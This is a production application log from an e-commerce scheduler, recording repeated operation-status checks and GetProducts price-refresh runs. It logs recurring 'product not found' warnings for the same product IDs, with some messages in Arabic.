[2026-03-24 05:08:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"jIFjYAhHcGF8Q9kL0S0DzEiE3NxijUlL","execution_time":"2026-03-24 05:08:03"} 
[2026-03-24 05:10:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Nc6PwNW7McN4uyNdBjvnOGU8Fq8NcNQk","execution_time":"2026-03-24 05:10:03"} 
[2026-03-24 05:10:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Nc6PwNW7McN4uyNdBjvnOGU8Fq8NcNQk","execution_time":"2026-03-24 05:10:03"} 
[2026-03-24 05:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 05:10:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 05:10:05] production.INFO: async() رجع: true  
[2026-03-24 05:10:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:10:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:10:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:10:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:12:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pM290nOP3MyCGTVFGYFqah1JHRz9xtd8","execution_time":"2026-03-24 05:12:01"} 
[2026-03-24 05:12:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"pM290nOP3MyCGTVFGYFqah1JHRz9xtd8","execution_time":"2026-03-24 05:12:01"} 
[2026-03-24 05:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sAHLYzzSL5Tk74jiTmkEGis0H63C5lD5","execution_time":"2026-03-24 05:14:01"} 
[2026-03-24 05:14:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"sAHLYzzSL5Tk74jiTmkEGis0H63C5lD5","execution_time":"2026-03-24 05:14:01"} 
[2026-03-24 05:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 05:15:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 05:15:03] production.INFO: async() رجع: true  
[2026-03-24 05:15:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:15:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wmAC8UAZTKvbyhBMGD494q6WTzU2yDVV","execution_time":"2026-03-24 05:16:02"} 
[2026-03-24 05:16:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"wmAC8UAZTKvbyhBMGD494q6WTzU2yDVV","execution_time":"2026-03-24 05:16:02"} 
[2026-03-24 05:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Ffe0NFzMZeNcUZD4CYmsIbWQvlYJW2cM","execution_time":"2026-03-24 05:18:02"} 
[2026-03-24 05:18:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Ffe0NFzMZeNcUZD4CYmsIbWQvlYJW2cM","execution_time":"2026-03-24 05:18:02"} 
[2026-03-24 05:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pv6y3cij16AlhTduYIZDva0zt2dwfz6u","execution_time":"2026-03-24 05:20:02"} 
[2026-03-24 05:20:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"pv6y3cij16AlhTduYIZDva0zt2dwfz6u","execution_time":"2026-03-24 05:20:02"} 
[2026-03-24 05:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:20:04] production.INFO: async() رجع: true  
[2026-03-24 05:20:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:20:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:20:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:20:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"A78nz8fmfINM4J4P8wSwbtYxPudV2zEp","execution_time":"2026-03-24 05:22:02"} 
[2026-03-24 05:22:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"A78nz8fmfINM4J4P8wSwbtYxPudV2zEp","execution_time":"2026-03-24 05:22:02"} 
[2026-03-24 05:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BcnhtwxAPkxAsstE3BXAPIHYl5tccZgT","execution_time":"2026-03-24 05:24:02"} 
[2026-03-24 05:24:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"BcnhtwxAPkxAsstE3BXAPIHYl5tccZgT","execution_time":"2026-03-24 05:24:02"} 
[2026-03-24 05:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:25:04] production.INFO: async() رجع: true  
[2026-03-24 05:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"d8OLTFY12JVcxizEm1za6HrCPVml42Qz","execution_time":"2026-03-24 05:26:03"} 
[2026-03-24 05:26:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"d8OLTFY12JVcxizEm1za6HrCPVml42Qz","execution_time":"2026-03-24 05:26:03"} 
[2026-03-24 05:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9BzQaFt359PLEVYOkfymznfA0iQcznAz","execution_time":"2026-03-24 05:28:03"} 
[2026-03-24 05:28:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"9BzQaFt359PLEVYOkfymznfA0iQcznAz","execution_time":"2026-03-24 05:28:03"} 
[2026-03-24 05:30:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"1aqpHPO3EZaMPAVE3qWENK1npMqy39Yr","execution_time":"2026-03-24 05:30:01"} 
[2026-03-24 05:30:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"1aqpHPO3EZaMPAVE3qWENK1npMqy39Yr","execution_time":"2026-03-24 05:30:01"} 
[2026-03-24 05:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 05:30:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 05:30:03] production.INFO: async() رجع: true  
[2026-03-24 05:30:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:30:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:30:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:30:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZLmejTnUGDWG5W18HCUWprQKavx9u5TA","execution_time":"2026-03-24 05:32:02"} 
[2026-03-24 05:32:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ZLmejTnUGDWG5W18HCUWprQKavx9u5TA","execution_time":"2026-03-24 05:32:02"} 
[2026-03-24 05:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"L5lbnQ0fkFR487yekSzBZVaARvCUUAlU","execution_time":"2026-03-24 05:34:02"} 
[2026-03-24 05:34:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"L5lbnQ0fkFR487yekSzBZVaARvCUUAlU","execution_time":"2026-03-24 05:34:02"} 
[2026-03-24 05:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:35:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:35:06] production.INFO: async() رجع: true  
[2026-03-24 05:35:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:35:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:35:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:35:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"REZIZ6g97uciwGuDQjlT6oANSkNRLRVG","execution_time":"2026-03-24 05:36:02"} 
[2026-03-24 05:36:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"REZIZ6g97uciwGuDQjlT6oANSkNRLRVG","execution_time":"2026-03-24 05:36:02"} 
[2026-03-24 05:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lZfNk807lRtYPwOEIgs3BYrTWYgI00yw","execution_time":"2026-03-24 05:38:02"} 
[2026-03-24 05:38:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"lZfNk807lRtYPwOEIgs3BYrTWYgI00yw","execution_time":"2026-03-24 05:38:02"} 
[2026-03-24 05:40:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3M6eyPn3Fdc5b8Tdxy0fZ5N5osYLrNuB","execution_time":"2026-03-24 05:40:02"} 
[2026-03-24 05:40:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"3M6eyPn3Fdc5b8Tdxy0fZ5N5osYLrNuB","execution_time":"2026-03-24 05:40:02"} 
[2026-03-24 05:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 05:40:04] production.INFO: async() رجع: true  
[2026-03-24 05:40:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:40:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:40:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:40:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"x5PJecOLQMQvhyCgfoqqHN4rGZctxUP6","execution_time":"2026-03-24 05:42:02"} 
[2026-03-24 05:42:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"x5PJecOLQMQvhyCgfoqqHN4rGZctxUP6","execution_time":"2026-03-24 05:42:02"} 
[2026-03-24 05:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5iTzIohLcDTGlEeIotueE65mPZFv0uac","execution_time":"2026-03-24 05:44:03"} 
[2026-03-24 05:44:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"5iTzIohLcDTGlEeIotueE65mPZFv0uac","execution_time":"2026-03-24 05:44:03"} 
[2026-03-24 05:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 05:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 05:45:04] production.INFO: async() رجع: true  
[2026-03-24 05:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:45:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:46:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"58Yg5LA2hJaorWWuug1qHWL3qPBGRnQ6","execution_time":"2026-03-24 05:46:03"} 
[2026-03-24 05:46:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"58Yg5LA2hJaorWWuug1qHWL3qPBGRnQ6","execution_time":"2026-03-24 05:46:03"} 
[2026-03-24 05:48:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"r3UDHa7E0m68MYQvqqAsKhjIpX0sVM5W","execution_time":"2026-03-24 05:48:03"} 
[2026-03-24 05:48:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"r3UDHa7E0m68MYQvqqAsKhjIpX0sVM5W","execution_time":"2026-03-24 05:48:03"} 
[2026-03-24 05:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Ld2fvg2DntG0lTWkl40lwl7vnFjt4fQz","execution_time":"2026-03-24 05:50:03"} 
[2026-03-24 05:50:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Ld2fvg2DntG0lTWkl40lwl7vnFjt4fQz","execution_time":"2026-03-24 05:50:03"} 
[2026-03-24 05:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 05:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 05:50:06] production.INFO: async() رجع: true  
[2026-03-24 05:50:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ELWxevrlnZ51K6JLI0PPw1eaJGwh46cw","execution_time":"2026-03-24 05:52:01"} 
[2026-03-24 05:52:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ELWxevrlnZ51K6JLI0PPw1eaJGwh46cw","execution_time":"2026-03-24 05:52:01"} 
[2026-03-24 05:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ia4uSjdtvD8S7NS63rGodMlhjrpKi8Jr","execution_time":"2026-03-24 05:54:01"} 
[2026-03-24 05:54:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ia4uSjdtvD8S7NS63rGodMlhjrpKi8Jr","execution_time":"2026-03-24 05:54:01"} 
[2026-03-24 05:55:01] production.INFO: Executing GetProducts task...  
[2026-03-24 05:55:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 05:55:01] production.INFO: Executing GetProducts task...  
[2026-03-24 05:55:04] production.INFO: async() رجع: true  
[2026-03-24 05:55:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 05:55:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 05:55:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 05:55:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 05:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wkNcKqP1ukuuK6cJCM2upeVQqOXYdGJt","execution_time":"2026-03-24 05:56:02"} 
[2026-03-24 05:56:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"wkNcKqP1ukuuK6cJCM2upeVQqOXYdGJt","execution_time":"2026-03-24 05:56:02"} 
[2026-03-24 05:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"17Bcp4Vf7bPsodZFzTEBuCEoqXCHrjlJ","execution_time":"2026-03-24 05:58:02"} 
[2026-03-24 05:58:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"17Bcp4Vf7bPsodZFzTEBuCEoqXCHrjlJ","execution_time":"2026-03-24 05:58:02"} 
[2026-03-24 06:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vRhBLpF177Mrm9mRcN6rNSjEMDvJKvzq","execution_time":"2026-03-24 06:00:03"} 
[2026-03-24 06:00:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"vRhBLpF177Mrm9mRcN6rNSjEMDvJKvzq","execution_time":"2026-03-24 06:00:03"} 
[2026-03-24 06:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 06:00:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 06:00:05] production.INFO: async() رجع: true  
[2026-03-24 06:00:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:00:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:00:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:02:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9woDr8mUnG1fH5z1C8gxpt1A9qmTM85U","execution_time":"2026-03-24 06:02:01"} 
[2026-03-24 06:02:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"9woDr8mUnG1fH5z1C8gxpt1A9qmTM85U","execution_time":"2026-03-24 06:02:01"} 
[2026-03-24 06:04:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DBa0dhwFeZZvqRyChHxkXhpXhzue5GqK","execution_time":"2026-03-24 06:04:01"} 
[2026-03-24 06:04:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"DBa0dhwFeZZvqRyChHxkXhpXhzue5GqK","execution_time":"2026-03-24 06:04:01"} 
[2026-03-24 06:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:05:03] production.INFO: async() رجع: true  
[2026-03-24 06:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:05:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:05:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:05:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:06:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XQWvpws0nfa6ujRvX0p5FV2qhDkqqo0S","execution_time":"2026-03-24 06:06:01"} 
[2026-03-24 06:06:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"XQWvpws0nfa6ujRvX0p5FV2qhDkqqo0S","execution_time":"2026-03-24 06:06:01"} 
[2026-03-24 06:08:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"m23kAQOeLO11YIjqIhn5zXYUeMy8Vvyy","execution_time":"2026-03-24 06:08:02"} 
[2026-03-24 06:08:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"m23kAQOeLO11YIjqIhn5zXYUeMy8Vvyy","execution_time":"2026-03-24 06:08:02"} 
[2026-03-24 06:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"smJ9XB5FXkrZk8OQr9FVxaZ5JHHLQS9H","execution_time":"2026-03-24 06:10:02"} 
[2026-03-24 06:10:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"smJ9XB5FXkrZk8OQr9FVxaZ5JHHLQS9H","execution_time":"2026-03-24 06:10:02"} 
[2026-03-24 06:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:10:04] production.INFO: async() رجع: true  
[2026-03-24 06:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"In3tUhOn5YLH2HuPNQzRkVnqcQcBqB9e","execution_time":"2026-03-24 06:12:02"} 
[2026-03-24 06:12:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"In3tUhOn5YLH2HuPNQzRkVnqcQcBqB9e","execution_time":"2026-03-24 06:12:02"} 
[2026-03-24 06:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MfpAHJB7mWc9ysqQVONxCM3BFYDvfScW","execution_time":"2026-03-24 06:14:02"} 
[2026-03-24 06:14:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"MfpAHJB7mWc9ysqQVONxCM3BFYDvfScW","execution_time":"2026-03-24 06:14:02"} 
[2026-03-24 06:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:15:04] production.INFO: async() رجع: true  
[2026-03-24 06:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:15:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yE2V8D5Y0ErhXRGYQDSGtxdlDOM8kFDB","execution_time":"2026-03-24 06:16:03"} 
[2026-03-24 06:16:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"yE2V8D5Y0ErhXRGYQDSGtxdlDOM8kFDB","execution_time":"2026-03-24 06:16:03"} 
[2026-03-24 06:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2OxZgcmkvKZ8gA7dP0nqSo5e8amH7Koj","execution_time":"2026-03-24 06:18:03"} 
[2026-03-24 06:18:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"2OxZgcmkvKZ8gA7dP0nqSo5e8amH7Koj","execution_time":"2026-03-24 06:18:03"} 
[2026-03-24 06:20:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ODU2tGY15wEBHVuC8vVN41azTli1FY8v","execution_time":"2026-03-24 06:20:01"} 
[2026-03-24 06:20:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ODU2tGY15wEBHVuC8vVN41azTli1FY8v","execution_time":"2026-03-24 06:20:01"} 
[2026-03-24 06:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:20:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:20:03] production.INFO: async() رجع: true  
[2026-03-24 06:20:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:20:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:20:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:20:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hcMIbIFzpPa2KoR61FYYuRdcMiLERjoD","execution_time":"2026-03-24 06:22:01"} 
[2026-03-24 06:22:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"hcMIbIFzpPa2KoR61FYYuRdcMiLERjoD","execution_time":"2026-03-24 06:22:01"} 
[2026-03-24 06:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FH5tsHKfBA495RvjTZrfx230fVyHhWSK","execution_time":"2026-03-24 06:24:01"} 
[2026-03-24 06:24:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"FH5tsHKfBA495RvjTZrfx230fVyHhWSK","execution_time":"2026-03-24 06:24:01"} 
[2026-03-24 06:25:01] production.INFO: Executing GetProducts task...  
